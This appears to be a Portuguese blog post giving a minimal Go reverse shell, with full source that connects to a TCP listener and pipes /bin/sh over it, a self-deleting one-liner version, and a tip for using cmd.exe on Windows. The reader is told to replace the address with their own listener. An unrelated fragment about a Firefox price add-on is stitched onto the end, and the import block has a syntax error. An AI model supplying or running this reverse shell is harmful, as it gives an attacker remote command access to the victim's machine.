golang: reverse shell

Um reverse shell em Golang super simples:

package main

import (
  "net"
  "os/exec"
}

func main() {
	c, _ := net.Dial("tcp","127.0.0.1:8222")
	cmd := exec.Command("/bin/sh")
	cmd.Stdin = c
	cmd.Stdout = c
	cmd.Stderr = c
	cmd.Run()
}

Claro, troque o IP e a porta para seu dispatcher.

Voce ainda pode minimizar e ter o reverse shell em “uma linha”.

echo 'package main;import"net";import"os/exec";func main(){c,_:=net.Dial("tcp","127.0.0.1:8222");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > rs.go && go run rs.go && rm rs.go

Eu nao testei, mas acredito que funcione no windows, troque o /bin/sh para cmd.exe e teste.

A Firefox addon for putting prices into perspective

I had a fun idea for a small project this weekend, and so I quickly put it together over the couple of days. The result is Price Perspective. Humor me: have you ever bought something, considered the price, and wondered how that price would look to someone el…
